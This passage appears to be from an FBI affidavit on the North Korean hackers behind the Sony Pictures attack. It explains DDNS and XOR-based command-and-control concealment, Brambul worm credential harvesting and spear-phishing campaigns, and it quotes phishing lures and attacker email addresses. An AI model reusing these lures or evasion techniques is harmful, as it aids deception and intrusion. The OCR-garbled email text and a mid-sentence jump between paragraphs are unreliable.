\xe2\x80\x9clanguages\xe2\x80\x9d provide an abstracted syntax that allows programmers to write simple, structured instructions, or \xe2\x80\x9csource code,\xe2\x80\x9d in a manner that resembles the English language. Special software called a \xe2\x80\x9ccompiler\xe2\x80\x9d can then translate, or \xe2\x80\x9ccompile,\xe2\x80\x9d this source code into binary code. 21. Contacts Lists: \xe2\x80\x9cStored contacts\xe2\x80\x9d or a \xe2\x80\x9ccontacts list\xe2\x80\x9d are essentially the \xe2\x80\x9caddress book\xe2\x80\x9d or digital Rolodex for an online account. These lists are sometimes automatically populated or may be manually populated by the user, depending on the particular email, social media, or other communication provider. 22. DNS: The Domain Name Service, or \xe2\x80\x9cDNS,\xe2\x80\x9d is a naming system for computers, services, or any other resources connected to the internet. An often-used 7 analogy to explain the DNS is that it serves as the phone book for the internet by \xe2\x80\x9cresolving\xe2\x80\x9d human-friendly computer hostnames to IP addresses. For example, the domain name \xe2\x80\x9cwww.justice.gov\xe2\x80\x9d may resolve to the IP address 149.101.146.50. 23. DDNS: Dynamic DNS, or \xe2\x80\x9cDDNS,\xe2\x80\x9d is a service offered in which the provider will allow users to control the IP address assignment of a domain, or more typically, a sub-domain such as http://subdomain.domain.com. The user can access this IP address assignment through the provider and make changes as needed. One of the key aspects of a DDNS service (compared to a traditional DNS service) is that changes to the IP assignments can be set to quickly propagate across the internet, while a traditional DNS service may take longer to populate or update various sources where a computer might seek to \xe2\x80\x9clook up\xe2\x80\x9d or resolve a domain. DDNS domains also, however, can be used for malicious purposes, as the subjects of this investigation have done on numerous occasions. Specifically, hackers can choose to command-and-control their malware by embedding DDNS domains in malware, instead of hard-coded IP addresses. This gives the hacker certain advantages, for example: a. First, if the hacker loses access to the intermediary computer that he or she was using to command-and-control the malware and victim computer, the hacker can simply log into the DDNS account maintained by the provider and update the IP address of the malicious DDNS domain to a new IP address assigned to a computer that the hacker still controls. This eliminates the need for the hacker to update and re-compile the malware on the victim system to point it to a new IP address. b. Second, the hacker can assign a non-malicious IP address to the DDNS domain when the hacker is not using the victim computer, and then assign a malicious IP address to the DDNS domain when the hacker is ready to hack into the victim computer. Alternatively, as discussed further in paragraph 49, the 8 http:http://subdomain.domain.com http:149.101.146.50 http:www.justice.gov hacker can assign a pre-computed IP address to the domain that is a \xe2\x80\x9cfake\xe2\x80\x9d command-and-control IP address, then program the malware so that it uses the \xe2\x80\x9cfake\xe2\x80\x9d command-and-control IP address to run an algorithm to compute the value of the \xe2\x80\x9ctrue\xe2\x80\x9d command-and-control IP address. This can make identifying the source of the malicious network traffic more difficult for the victim. 24. Hashes: A \xe2\x80\x9chash\xe2\x80\x9d value\xe2\x80\x94such as MD5, SHA1, or SHA256\xe2\x80\x94can be calculated for any computer file by applying a one-way algorithm to the data contained in the file. If any of the content of the file is changed, even a change as minor as adding an extra \xe2\x80\x9cspace\xe2\x80\x9d character, the algorithm will produce a different hash when it is applied to the file. Although there is an extremely small possibility of two separate files calculating the same hash (it has been proven by researchers to be possible), when two files have the same hash value they are assumed to be identical files, thus providing verification to a very high degree of confidence that the two files are identical. The differences between MD5, SHA1, and SHA256 are simply differences in the mathematical algorithms that are used to create the hash, and they result in different lengths of hash value, with MD5 resulting in a 128-bit value (i.e., how long the hash value is), SHA1 in a 160-bit value, and SHA256 in a 256-bit value. 25. Hop point: The term \xe2\x80\x9chop point\xe2\x80\x9d often refers to a computer used by an unwitting victim that has been compromised by hackers and is then used by the hackers as part of their infrastructure for further computer intrusions. A hacker\xe2\x80\x99s use of a hop point will often carry on even while the unwitting victim continues to use the computer for legitimate purposes, unaware that part of its storage and processing capacity is being used by intruders. A hop point can serve a similar purpose as a proxy service, in that a hacker can use it as a relay when carrying out an intrusion so that a victim will only \xe2\x80\x9csee\xe2\x80\x9d the hop point\xe2\x80\x99s IP address, concealing to a degree the hacker\xe2\x80\x99s true home IP address. But because a hop point is often an 9 entire functioning computer, rather than simply a relay, it can be used for other purposes as well. For example, a hacker may use a compromised computer to store malware intended to infect victim computers, to communicate with victim computers and send them commands, to store stolen data or tools used in an intrusion, or for other staging activities. 26. IP address: An Internet Protocol version 4 address, also known as an \xe2\x80\x9cIPv4 address,\xe2\x80\x9d or more commonly an \xe2\x80\x9cIP address,\xe2\x80\x9d is a set of four numbers or \xe2\x80\x9coctets,\xe2\x80\x9d each ranging from 0 to 255 and separated by a period (\xe2\x80\x9c.\xe2\x80\x9d) that is used to route traffic on the internet. A single IP address can manage internet traffic for more than one computer or device, such as in a workspace or when a router in one\xe2\x80\x99s home routes traffic to one\xe2\x80\x99s desktop computer, as well as one\xe2\x80\x99s tablet or smartphone, while all using the same IP address to access the internet. Use of a common IP address typically indicates the use of shared or common computer infrastructure or use of the same physical space to connect to the internet. 27. Malware: \xe2\x80\x9cMalware\xe2\x80\x9d is malicious computer software intended to cause the victim computer to behave in a manner inconsistent with the intention of the owner or user of the victim computer, usually unbeknownst to that person. 28. North Korean IP Addresses: Throughout this affidavit, certain IP addresses are referred as \xe2\x80\x9cNorth Korean.\xe2\x80\x9d Those references are to IP addresses from two blocks. The first is a block of IP addresses, 175.45.176.0\xe2\x80\x93175.45.179.255, which are registered to a company in Pyongyang, North Korea. The second set is a block of IP addresses, 210.52.109.0\xe2\x80\x93210.52.109.255, which\xe2\x80\x94according to multiple publicly available sources\xe2\x80\x94are registered to a company in China, but which have been leased or used by North Korea since before North Korea was allocated the first block of IP addresses around late-2009. 29. Phishing: A \xe2\x80\x9cphishing\xe2\x80\x9d email is typically one that is sent to one or more recipients and is designed to appear legitimate in order to get the recipient(s) 10 to take a certain action, such as clicking on a link or opening a file that would cause a victim\xe2\x80\x99s computer to be compromised by a hacker. For example, a hacker might send a phishing email to a large number of recipients, where that phishing email is designed to look like it is from a particular bank. In doing this, the sender hopes that some recipients do in fact have accounts at that bank and may be tricked into thinking it is a legitimate email. At times malware may be attached as a file to the message, or malware might be stored on a server and the phishing message may contain a \xe2\x80\x9chyperlink,\xe2\x80\x9d also known as a \xe2\x80\x9clink,\xe2\x80\x9d that would cause the victim\xe2\x80\x99s computer to download a file from that server. 30. Proxy service: A \xe2\x80\x9cproxy service\xe2\x80\x9d offers the use of \xe2\x80\x9cproxy servers,\xe2\x80\x9d which are computers connected to the internet that serve as relays, sometimes between a person using a personal computer and the website that the person was accessing. When using a proxy service, websites that a person is accessing generally do not \xe2\x80\x9csee\xe2\x80\x9d the location of the \xe2\x80\x9ctrue\xe2\x80\x9d or \xe2\x80\x9chome\xe2\x80\x9d originating IP address or country where the internet traffic originated, which would reveal the location of the person\xe2\x80\x99s computer. Instead, the website accessed via a proxy would only \xe2\x80\x9csee\xe2\x80\x9d the IP address of the proxy server that was serving as the relay. The subjects use a number of methods to hide (or \xe2\x80\x9cproxy\xe2\x80\x9d) their internet traffic, including services that route web or other internet traffic, as well as virtual private network (\xe2\x80\x9cVPN\xe2\x80\x9d) services that encrypt traffic between a \xe2\x80\x9chome\xe2\x80\x9d IP address and the VPN\xe2\x80\x99s server before connecting to the internet. 31. Ransomware: Ransomware is a type of malware that infects a computer and encrypts some or all of the data or files on the computer, and then demands that the user of the computer pay a ransom in order to decrypt and recover the files, or in order to prevent the malicious actors from distributing the data. 11 32. Recovery Emails: Email and social media providers frequently require subscribers to list a \xe2\x80\x9csecondary,\xe2\x80\x9d \xe2\x80\x9crecovery,\xe2\x80\x9d or \xe2\x80\x9calternative\xe2\x80\x9d email account when signing up for an email or social media account. Recovery email accounts can be used by a provider to authenticate that the person trying to access the account is in fact the user entitled to do so. For example, if a user has forgotten his or her password, a one-time password might be sent to a recovery email account, which would allow a user to re-gain access to his or her account. Because the secondary email address can in some instances allow access to the primary account, the secondary or recovery account is often used by the same person who controls the primary account or, at a minimum, someone close to or trusted by the user of the primary account. In this affidavit, the terms \xe2\x80\x9csecondary\xe2\x80\x9d or \xe2\x80\x9crecovery\xe2\x80\x9d account are used synonymously with an email address that is used to \xe2\x80\x9csubscribe\xe2\x80\x9d another email or social media account as described in this paragraph. 33. Spear-phishing: A \xe2\x80\x9cspear-phishing\xe2\x80\x9d email is a phishing email that is not only designed to appear legitimate, but is also tailored and personalized for the intended recipient or recipients. Spear-phishing emails often include information that the hacker knows about the recipient based on reconnaissance or other sources of information about the intended victim. 34. URL: A Uniform Resource Locator, also known as a \xe2\x80\x9cURL,\xe2\x80\x9d is a website address that is used to direct a computer to a particular web server or a website hosted on that web server. URLs can be lengthy strings of words and characters, and some companies, such as Google, offer \xe2\x80\x9cshortened URLs\xe2\x80\x9d that compress a full URL into a smaller string of characters that is easier to fit in social media messages like Twitter that limit the number of characters that can be used. If a shortened URL is entered into a web browser, the web browser will be re- directed to the complete URL. A shortened URL also, however, obscures the actual domain to which it will connect a computer whose user clicks on that link. 12 35. Worm: A \xe2\x80\x9cworm\xe2\x80\x9d is a type of malware that attempts to progressively infect computers, typically by exploiting a vulnerability in the victim computers or by \xe2\x80\x9cbrute force\xe2\x80\x9d attacks upon victim computers. A \xe2\x80\x9cbrute force\xe2\x80\x9d attack on a computer or network occurs when a hacker or the hacker\xe2\x80\x99s malware attempts to log- in to a potential victim computer using a predetermined list of possible username and password combinations, which lists often contain thousands of common combinations of usernames and passwords that include specific default settings used on certain applications and devices. V. INFRASTRUCTURE A. North Korean Computer Networks 36. Throughout this investigation, the subjects have used North Korean IP addresses to engage in malicious and non-malicious activity. Within the block of 1,024 IP addresses directly assigned to North Korea, two narrow ranges of IP addresses have been consistently linked to malicious activity and the individuals associated with that activity (i.e., the subjects of this investigation). From early- 2014 through the end of 2015, that malicious activity was originating from four specific North Korean IP addresses, referred to herein as North Korean IP Addresses #1, #2, #3, and #4. In late-March 2016, the previously identified activity was found to have shifted consistently by a specific numerical increase in the last octet of the IP address, with activities previously associated with North Korean IP Addresses #1, #2, #3, and #4 shifting to what will be referred to herein as North Korean IP Addresses #5, #6, #7, and #8 (where activities associated with #1 shifted to #5, #2 shifted to #6, #3 shifted to #7, and #4 shifted to #8).1 37. More specifically, and as will be discussed in this affidavit, activity that was previously originating from North Korean IP Address #1 and that was 1 Between January 2016 and late-March 2016, some accounts and activities that were previously linked to North Korean IP address #2 were temporarily associated with a different North Korean IP address. 13 more recently originating from North Korean IP Address #5 has been linked to DDNS domains used in the malware called Contopee\xe2\x80\x94which was used in intrusions at banks, and was also identified in a public report by cyber security firm Group IB as being used in a malicious cyber campaign against the Polish banking sector. Activity that was originating from North Korean IP Address #2 and that was more recently originating from North Korean IP Address #6 has been linked to malicious email and social media accounts using fake alias names that sent spear-phishing emails to potential victims, while also scanning and directly hacking into computer systems. Activity that was originating from North Korean IP Address #3 and that was more recently originating from North Korean IP Address #7 has been linked to both malicious activity as well as use by subjects to access their personal accounts (including the Chosun Expo Accounts) and work on non-malicious software development projects. Activity that was originating from North Korean IP Address #4 and that was more recently originating from North Korean IP Address #8 has been linked to some of these same subjects using North Korean IP Address #7 to access the Chosun Expo Accounts, including using their true names. B. The \xe2\x80\x9cBrambul\xe2\x80\x9d Worm 38. The subjects of the investigation have repeatedly used as hop points particular computers that were compromised by a piece of malware known as the \xe2\x80\x9cBrambul\xe2\x80\x9d worm that crawls from computer to computer, trying to infect computers and then, if successful, relaying the credentials and victim host information (that are necessary to gain access to the compromised computers) to certain \xe2\x80\x9ccollector\xe2\x80\x9d email accounts hard-coded into the malware. I know the following information about the Brambul worm based on email subscriber records, malware analysis reports, and the contents of the collector email accounts that were obtained from search warrants. 14 39. The worm has been in existence since at least 2009 and has been the subject of public reports by cyber security companies, some of which have referred to it as Trojan:W32.Brambul.A, Trojan/Brambul-A, or more commonly, and as it will be referred to in this affidavit, \xe2\x80\x9cBrambul.\xe2\x80\x9d The worm spreads through self- replication by infecting new victim systems via brute force attacks on the victim\xe2\x80\x99s Server Message Block (\xe2\x80\x9cSMB\xe2\x80\x9d) protocol. SMB is a method that Microsoft systems use to share files on a network. 40. When Brambul is successful in gaining access to a victim computer, the Brambul worm conducts a survey of the victim machine and collects certain information, including the victim\xe2\x80\x99s IP address, system name, operating system, username last logged in, and last password used. That information is then sent via Simple Mail Transfer Protocol (\xe2\x80\x9cSMTP\xe2\x80\x9d) to one or more of the email addresses that are hard-coded in the Brambul worm. The Brambul worm sends that email from a spoofed email address. \xe2\x80\x9cSpoofed\xe2\x80\x9d in this context means that the email will appear to have come from a particular email address, but in reality, no actual connection or log-in is ever made to the spoofed email address that supposedly sent the message. It is the equivalent, in some ways, of using a fake return address on an envelope. 41. The email accounts programmed into different variants of the Brambul worm that have been used to receive those messages (i.e., to collect those credentials) have varied, but have included xiake722@gmail.com, mrwangchung01@gmail.com, laohu1985@gmail.com, diver.jacker@gmail.com, and whiat1001@gmail.com. One of the more recently active Brambul collector email accounts, mrwangchung01@gmail.com, was accessed from North Korean IP Address #6 in 2017, and the Brambul collector email account diver.jacker@gmail.com was accessed from North Korean IP Address #7 on November 14, 2016 and December 16, 2016. The accounts xiake722@gmail.com and laohu1985@gmail.com were both created within three weeks of each other in 2009 from the same North Korean IP 15 mailto:laohu1985@gmail.com mailto:xiake722@gmail.com mailto:diver.jacker@gmail.com mailto:mrwangchung01@gmail.com mailto:whiat1001@gmail.com mailto:diver.jacker@gmail.com mailto:laohu1985@gmail.com mailto:mrwangchung01@gmail.com mailto:xiake722@gmail.com address (neither North Korean IP Address #6 nor #7). Some variants of the Brambul worm, like the three found at SPE after the attack there, did not contain any email accounts programmed into them. 42. This use of collector emails thus allows the hacker to log-in to one of the collector email accounts that received those credentials and view the emails sent by the Brambul malware, each of which would contain the information necessary to log-in to a victim computer. These victim computers can then be used as hop points by the subjects. C. Use of a Proxy Service 43. In addition to using the computers infected by Brambul as hop points to conceal their true IP addresses, the subjects have consistently used a set of specific anonymizing services (those specific services used repeatedly are referred to herein as the \xe2\x80\x9cProxy Services\xe2\x80\x9d). 44. As discussed above, anonymizing services can be used as a \xe2\x80\x9crelay\xe2\x80\x9d to conceal one\xe2\x80\x99s true IP address, and thus one\xe2\x80\x99s location, from the websites to which one is navigating. When such a service is used, the website being visited only \xe2\x80\x9csees\xe2\x80\x9d the IP address of the proxy, not the user\xe2\x80\x99s true \xe2\x80\x9chome\xe2\x80\x9d IP address. In other words, \xe2\x80\x9cJane\xe2\x80\x9d may pay a cable company for internet access, and Jane\xe2\x80\x99s home would be assigned an IP address to use when navigating the internet. If Jane were to connect directly from her home to her online email account in order to check her email, her online email provider would see the IP address assigned to her home. If, however, Jane were to use a proxy service to check her email account, her online email provider would only see the IP address of the proxy server connecting to the email account, not the IP address assigned to Jane\xe2\x80\x99s home. These proxy services can provide services to a large number of persons and thus have a significant volume of internet traffic relayed through their IP addresses, which would offer 16 Jane a level of anonymity (though the proxy would still be able to effectively route Jane\xe2\x80\x99s traffic to and from the websites she visits). 45. The subjects sometimes used Brambul-infected computers as hop points, sometimes used a proxy service, and other times used (or revealed) their true \xe2\x80\x9chome\xe2\x80\x9d IP addresses in North Korea without the protection of a proxy or relay. When the subjects have chosen to use an anonymizing service, they have consistently used several specific Proxy Services referenced herein. They have used the Proxy Services to do hacking-related research and to access email and social media accounts, as well as to scan victim computer systems, including SPE\xe2\x80\x99s. 46. This affidavit discusses below the IP addresses that the subjects have used to connect to both personal and operational email and social media accounts or to particular websites. In some instances, the subjects connected directly to those accounts from North Korean IP addresses, while on other occasions they connected to such accounts or websites from a North Korean IP address through a Proxy Service. Both methods of connection are referred to below as connections from North Korean IP addresses. D. Dynamic DNS (DDNS) 47. Some of the malware used by the subjects in connection with their various computer intrusions would contain a domain or domains programmed directly in the malware. The malware would cause the victim\xe2\x80\x99s computer to try looking up that domain (or domains) and connecting with the IP address assigned to it. By using DDNS services (as explained above in paragraph 23), the subjects could ensure that when a victim computer \xe2\x80\x9clooked up\xe2\x80\x9d or tried to resolve a domain in the malware, the victim\xe2\x80\x99s computer would be directed to the IP address he or she assigned to that domain, even if a change was made moments before. 48. The domains that appeared in the various families of malware used by the subjects were hosted at multiple DDNS providers. As discussed above, DDNS 17 providers are companies that offer the ability to register for and use an account to manage a particular domain or sub-domain and control the IP address to which it is assigned (or to which it \xe2\x80\x9cresolves\xe2\x80\x9d). The subjects registered dozens of accounts at those DDNS providers from the same computer or digital device (i.e., the same piece of computer hardware, such as a laptop, desktop, mobile device, or virtual machine2 operating on that computer, herein a \xe2\x80\x9cdevice\xe2\x80\x9d). The subjects routinely accessed those DDNS accounts directly from North Korean IP addresses, through the Proxy Services, or by other IP addresses located around the world. 49. Some malware used by the subjects in their intrusions employed a variation on the DDNS technique described in paragraph 47. Analysis of that malware has revealed that it would cause a victim\xe2\x80\x99s computer to look up the IP address assigned to a specific domain. Instead of connecting to the IP address assigned to that domain, however, it would then cause the victim\xe2\x80\x99s computer to perform an additional function once it learned the assigned IP address; that function would generate a new IP address, and the victim computer would then navigate to that new IP address. Specifically, once the victim would receive the IP address assigned to the domain, the malware would then perform what is known as an \xe2\x80\x9cXOR\xe2\x80\x9d operation using a specific hard-coded XOR key; that operation would convert the IP address it received to a new IP address, and the malware would cause the victim computer to connect to that new IP address. Thus, even knowing the domain embedded in the malware would not allow a victim or investigator to learn the location of the computer under the subjects\xe2\x80\x99 control without a detailed analysis of how the malware operated and what the XOR key was. This served to conceal evidence of their activities and intrusions. 2 A virtual machine is essentially a \xe2\x80\x9cvirtual computer\xe2\x80\x9d within a computer, with its own operating system running that does not generally interact (at least in the same way) with files stored on the computer on which it is running. A single computer can host multiple virtual machines. 18 50. The subjects controlled the domains by logging into their accounts at DDNS providers. At times they used North Korean IP addresses to access those DDNS accounts, and North Korean IP addresses were used at times to access social media accounts that were also registered to the email accounts used to register those DDNS accounts. VI. TARGETING TECHNIQUES USED A. Reconnaissance 51. In multiple instances, the subjects\xe2\x80\x99 successful intrusions were preceded by a period of reconnaissance of their victims on the internet or social media. That online reconnaissance included research relating to the victim company or entity that the subjects were targeting, as well as relating to individual employees of the victim company. The subjects have also used the services of websites that specialize in locating email accounts associated with specific domains and companies, and the subjects have registered for business records search services that offer career postings, business searches, and marketing services. The subjects also have searched for specific software vulnerabilities, exploits, and hacking techniques. 52. Moreover, records produced pursuant to court orders have shown that subjects using North Korean IP Address #6 would visit the websites of some of their intended victims, such as Lockheed Martin, while simultaneously conducting online research about persons associated with Lockheed Martin, and sending messages to employees of Lockheed Martin. 53. While that online research reflected the subjects\xe2\x80\x99 operational activities, other online research by those subjects appeared to seek information more personal in nature, including information specific to North Korea, such as related to North Korean television or North Korean food supplies. 19 B. Spear-Phishing 54. As mentioned above, I know based on my training and experience that hackers will search the internet or social media for specific entities or for persons affiliated with those entities as a form of reconnaissance prior to an attempted intrusion. The results of that reconnaissance are often then used by the hackers for \xe2\x80\x9csocial engineering\xe2\x80\x9d when preparing spear-phishing messages to send by email or social media to persons affiliated with those entities. In general, the hackers intend their victims to open the spear-phishing messages while using their employers\xe2\x80\x99 computer systems, thus breaching the employers\xe2\x80\x99 network security. As noted above in paragraph 33, such spear-phishing emails that are the product of reconnaissance are often highly targeted, reflect the known affiliations or interests of the intended victims, and are crafted\xe2\x80\x94with the use of appropriate formatting, imagery, and nomenclature\xe2\x80\x94to mimic legitimate emails that the recipient might expect to receive. Some of the same accounts were used both to conduct online reconnaissance and to send spear-phishing emails. In some instances those accounts may have been used by more than one person, and thus references to a \xe2\x80\x9cuser\xe2\x80\x99s\xe2\x80\x9d or \xe2\x80\x9csubject\xe2\x80\x99s\xe2\x80\x9d use of an account may be the work of multiple subjects using a single account. 55. The FBI has obtained spear-phishing emails from numerous sources. In some instances, they were obtained directly from victims. In others, they were obtained through records and information received pursuant to legal process from providers of internet, email, social media, and other services, including those located in the United States and those located in various foreign countries obtained through Mutual Legal Assistance requests and through law enforcement liaison with foreign authorities (herein referred to collectively as \xe2\x80\x9cprovider records\xe2\x80\x9d). 56. On multiple occasions when preparing to target victims, the subjects of this investigation have copied legitimate emails nearly in their entirety when 20 creating spear-phishing emails, but have replaced the hyperlinks in the legitimate email with hyperlinks that would re-direct potential victims to infrastructure under the subjects\xe2\x80\x99 control, presumably in order to deliver a payload of malware to the victims\xe2\x80\x99 computers. 57. For example, on occasion Facebook sent legitimate emails to some of the subjects\xe2\x80\x99 email accounts alerting them to the fact that a Facebook account associated with that email address was accessed by a new IP address. (In some instances, these emails from Facebook were prompted by log-ins to the subjects\xe2\x80\x99 Facebook accounts through a Proxy Service\xe2\x80\x99s IP addresses.) Those legitimate Facebook emails contained legitimate links that the user could click to follow-up on the new access to his or her Facebook account. In one instance, however, a subject made an exact copy of that email, shown below, but with slight modifications to turn it into a spear-phishing message. The spear-phishing message included essentially the same formatting as the legitimate Facebook email but with new links associated with the hyperlinked text \xe2\x80\x9cLog In\xe2\x80\x9d that pointed to http://www.fancug.com/link/facebook_en.html instead of a Facebook-operated website. (The subjects have used multiple domains and URLs in the links directing their intended victims to malware; this is just one example.) The hyperlink was presumably to malicious infrastructure under the subjects\xe2\x80\x99 control, but the hyperlink was no longer active when the FBI obtained the email. A subject also changed the name associated with the email account used to \xe2\x80\x9cFacebook,\xe2\x80\x9d and re- sent the email as a test spear-phishing email to an email account associated with the alias \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d (tty198410@gmail.com), which is discussed in detail below. This test spear-phishing email, sent from one account controlled by the subjects to another, seemed ultimately destined for one of the actors in the SPE movie \xe2\x80\x9cThe Interview\xe2\x80\x9d as discussed below, to whose name the test spear-phishing email was addressed (but which is redacted here). 21 mailto:tty198410@gmail.com http://www.fancug.com/link/facebook_en.html From Facebook * <+, Reply \xe2\x80\xa2 Forward W Junk (S) Delete More\xe2\x80\xa2 Subject Did you k>g into Facebook from somewhere new? 9/6/14, 7:34 AM TO tty19841()@gmail.com0 ~ Did you log into Facebook from somewhere new? De~ Your Facebook account was recently logged into from a computer, mobile device or other location you've never used before. For your protection, we've temporarily locked your account until you can review this activity and make sure no one Is using your account without your permission. Did you log into Facebook from a new device or an unusual location? If this was not you, please log into Facebook from your computer and follow the instructions provided to help you control your account information. If this was you, there's no need to worry. Simply log Into Facebook again to get back Into your account. 1\xc2\xb7+15 Facebool<. Inc. Attention: Depa11men1415. PO Box 10005, Palo Alto, CA 9 Date: 10/15/2014 10:30 AM To: "" '< @spe.sony.com> Dear ~s - - , : \xe2\x80\xa2:n a sopho:ncre ac che Universicy c f souchern Californ:.a and am very ince~ raph:.c design o: digital productions . ~r . ~ suggested thac I concacc you . Sony ?:.ccures Entercainment has a reputacicn f or excellence, and your com.~ic:nent co innovative and creative design is near and dear to my heart . : am a cop student :.n my design program, am maintaining a 4 . 0 GPA, and have received a mer~t scholarship every semester since matriculating . _ am con: idenc that: can be an asset to your company . - i,;ould be appreciaced if you cou.La view my resume and port: olio . ~ere lS the l:.nk : look f orward co hearing : ro:n you . Sincerely, Chrisc:.na Karsten Facebook account, the \xe2\x80\x9cMoniker 2 Facebook account,\xe2\x80\x9d which was also accessed from a North Korean IP address. A subject using the Moniker 1 Facebook account had conducted online reconnaissance of employees of a South Korean power company in March 2015. 125. Four of those email accounts that used the same invalid address information were also used to create Facebook profiles. 126. A spear-phishing email very similar to the one sent by bluehotrain@hotmail.com, referenced above, was sent by lazarex@outlook.com to an SPE employee on October 15, 2014. That email account, lazarex@outlook.com, was created using the same invalid address information, but was also accessed using the same Proxy Service IP address minutes apart from the accounts registered using the invalid address information. That email appeared as follows: 48 mailto:lazarex@outlook.com mailto:lazarex@outlook.com mailto:bluehotrain@hotmail.com 127. None of those accounts were accessed in the months after the first \xe2\x80\x9cGuardians Of Peace\xe2\x80\x9d email was sent on November 21, 2014. That is consistent with these accounts having been used by a person or persons trying to gain initial access to the SPE network through spear-phishing, and not needing to do so again once the network had been breached and other aspects of the attack were implemented. 128. Marieperl@outlook.com was used to register for services at a DDNS provider using the name \xe2\x80\x9cAnnmarie Perlman\xe2\x80\x9d on September 9, 2014, from an IP address located in the United States. This is significant because this same IP address was one that was hard-coded into the malware described above in paragraph 121.d. In other words, once that malware infected a computer, it would cause that computer to connect with that U.S. IP address, which was the same IP address that was being used at the same time to register for DDNS services. This thus shows that the subjects would use a single IP address under their control for multiple purposes. 129. Because of the harmful nature of the attack on SPE in which vast amounts of data were overwritten and computers were rendered unrecoverable, a complete reconstruction of the subjects\xe2\x80\x99 activities during the period of the intrusion was not possible through a forensic analysis. Specifically, the harmful component of the attack overwrote the master file table, which is the legend that keeps track of where all of the files on the hard drive are physically stored on the hard drive, and the master boot record, which keeps track of how the hard drive is partitioned and which is needed for \xe2\x80\x9cbooting\xe2\x80\x9d or starting up a computer\xe2\x80\x99s operating system. From connection logs, however, it was apparent when SPE\xe2\x80\x99s confidential data had been exfiltrated. 49 mailto:Marieperl@outlook.com H. Targeting Movie Theater Chain 130. As noted above in paragraph 82, the subjects made threats directed at places where \xe2\x80\x9cThe Interview\xe2\x80\x9d would be shown. The FBI has obtained other evidence showing that the subjects did in fact begin targeting movie theaters where \xe2\x80\x9cThe Interview\xe2\x80\x9d was scheduled to be shown. The investigation identified numerous accounts that sent malware to employees of AMC Theatres, one of the theater companies that was scheduled to release and show \xe2\x80\x9cThe Interview,\xe2\x80\x9d including the following accounts. a. [JG NAME REDACTED]@gmail.com:7 I was first informed by AMC Theatres that this email account had sent an AMC Theatres employee a spear-phishing email on December 3, 2014. I later learned that [JG NAME REDACTED]@gmail.com sent spear-phishing messages to a total of five AMC Theatres employees on that same date. This particular email is characterized as a spear-phishing email because it was sent from an email address using the name of a real AMC Theatres employee to another employee. Moreover, the interests listed on the recipient employee\xe2\x80\x99s publicly facing social media accounts included art, and the subject who sent the spear-phishing email referred to art in the message, and asked the real AMC employee to open an attachment containing a screensaver with the sender\xe2\x80\x99s drawings. The screensaver was password protected, and the sender stated the password was simply \xe2\x80\x9c1.\xe2\x80\x9d I know based on my training and experience that hackers often send password-protected files so that the files can be sent to targeted victims and, due to being password-protected, anti-virus scanners are often unable to detect malicious code contained in them. 7 Where the name used to create an email address was the name of a real person, the full name of the person is redacted and the person\xe2\x80\x99s initials are used instead. In this instance, the redacted name was the name of a real employee of AMC Theatres. 50 mailto:REDACTED]@gmail.com b. agena316@gmail.com: Agena316@gmail.com was used as a recovery email account for the [JG NAME REDACTED]@gmail.com account. Like [JG NAME REDACTED]@gmail.com, agena316@gmail.com sent spear-phishing messages on December 2, 2014, to two AMC Theatres employees, as well as other emails showing the subjects\xe2\x80\x99 intent to target SPE. These messages sent by agena316@gmail.com in particular indicate that the same subjects were responsible for both the attack on SPE and for targeting AMC Theatres. Agena316@gmail.com was also used to register a Facebook account and the subject using it also conducted online reconnaissance regarding employees of AMC Theatres and other movie theaters. As noted above in paragraph 110, the Facebook page created using agena316@gmail.com was also accessed by the same device as the \xe2\x80\x9cWatson Henny\xe2\x80\x9d Facebook account and, as noted below in paragraph 159, the subject using the account researched banks in Bangladesh. c. [JP NAME REDACTED]@hotmail.com: Provider records show that the user of this account had saved a spear-phishing message, but not yet sent it, and that message was addressed to an AMC Theatres employee and dated December 2, 2014. That is the same date that agena316@gmail.com sent spear- phishing emails to two AMC employees. This email address was also used to create a Facebook account, and that Facebook account was accessed from the same IP address that accessed Twitter account @erica_333u in late-2014. d. mogbe123456@gmail.com: As noted in paragraph 108, a subject using this email account conducted online reconnaissance of SPE, its executives, and defacements of SPE\xe2\x80\x99s website. On December 11, 2014, mogbe123456@gmail.com sent messages to employees of AMC Theatres with malware attachments titled \xe2\x80\x9cMovieShow.zip\xe2\x80\x9d and \xe2\x80\x9cAttach_File.zip.\xe2\x80\x9d e. [JK NAME REDACTED]@gmail.com: On December 13 and 14, 2014, [JK NAME REDACTED]@gmail.com sent spear-phishing emails to employees 51 mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:mogbe123456@gmail.com mailto:mogbe123456@gmail.com mailto:agena316@gmail.com mailto:REDACTED]@hotmail.com mailto:agena316@gmail.com mailto:Agena316@gmail.com mailto:agena316@gmail.com mailto:agena316@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:Agena316@gmail.com mailto:agena316@gmail.com of AMC Theatres with malware attachments titled \xe2\x80\x9creference_book.ppsx.\xe2\x80\x9d This account was created on December 13, 2014 using [JK NAME REDACTED]@outlook.com as its alternate email address, which account was created from North Korean IP Address #2 on December 8, 2014 and accessed from North Korean IP Address #2 and Proxy Service IP addresses on later dates. 131. The FBI has not obtained any evidence from AMC Theatres itself nor from any other sources in the course of the investigation that show any of the subjects\xe2\x80\x99 unauthorized intrusion attempts at AMC Theatres were successful. I. Intrusion at Mammoth Screen 132. In 2014, Mammoth Screen, a British production company, had been producing a show titled \xe2\x80\x9cOpposite Number,\xe2\x80\x9d fictionally set in North Korea. In August 2014, it was announced that the series was \xe2\x80\x9cgreenlit,\xe2\x80\x9d meaning it would be financed and proceed towards production. According to Mammoth Screen\xe2\x80\x99s website, the show was a ten-part fictional series about a British nuclear scientist on a covert mission who was taken prisoner in North Korea. 133. According to multiple publicly available articles, a spokesman for the Policy Department of the National Defense Commission of the DPRK issued a statement on August 31, 2014, in which the spokesman derided the U.K. series and claimed that \xe2\x80\x9c[r]eckless anti-DPRK hysteria would only bring disgrace and self- destruction\xe2\x80\x9d and that \xe2\x80\x9c[i]t would be well advised to judge itself what consequences would be entailed if it ignores the DPRK\xe2\x80\x99s warning.\xe2\x80\x9d These comments by the North Korean government are similar to comments made by the subjects prior to the November 2014 cyber-attack against SPE. 134. Between September 4 and 11, 2014, the subject using the \xe2\x80\x9cAndoson David\xe2\x80\x9d Facebook account conducted online reconnaissance about the \xe2\x80\x9cOpposite Number,\xe2\x80\x9d including about the producers and other personnel listed on Mammoth 52 mailto:REDACTED]@outlook.com Screen\xe2\x80\x99s website (sometimes minutes or seconds before or after conducting online reconnaissance regarding SPE and \xe2\x80\x9cThe 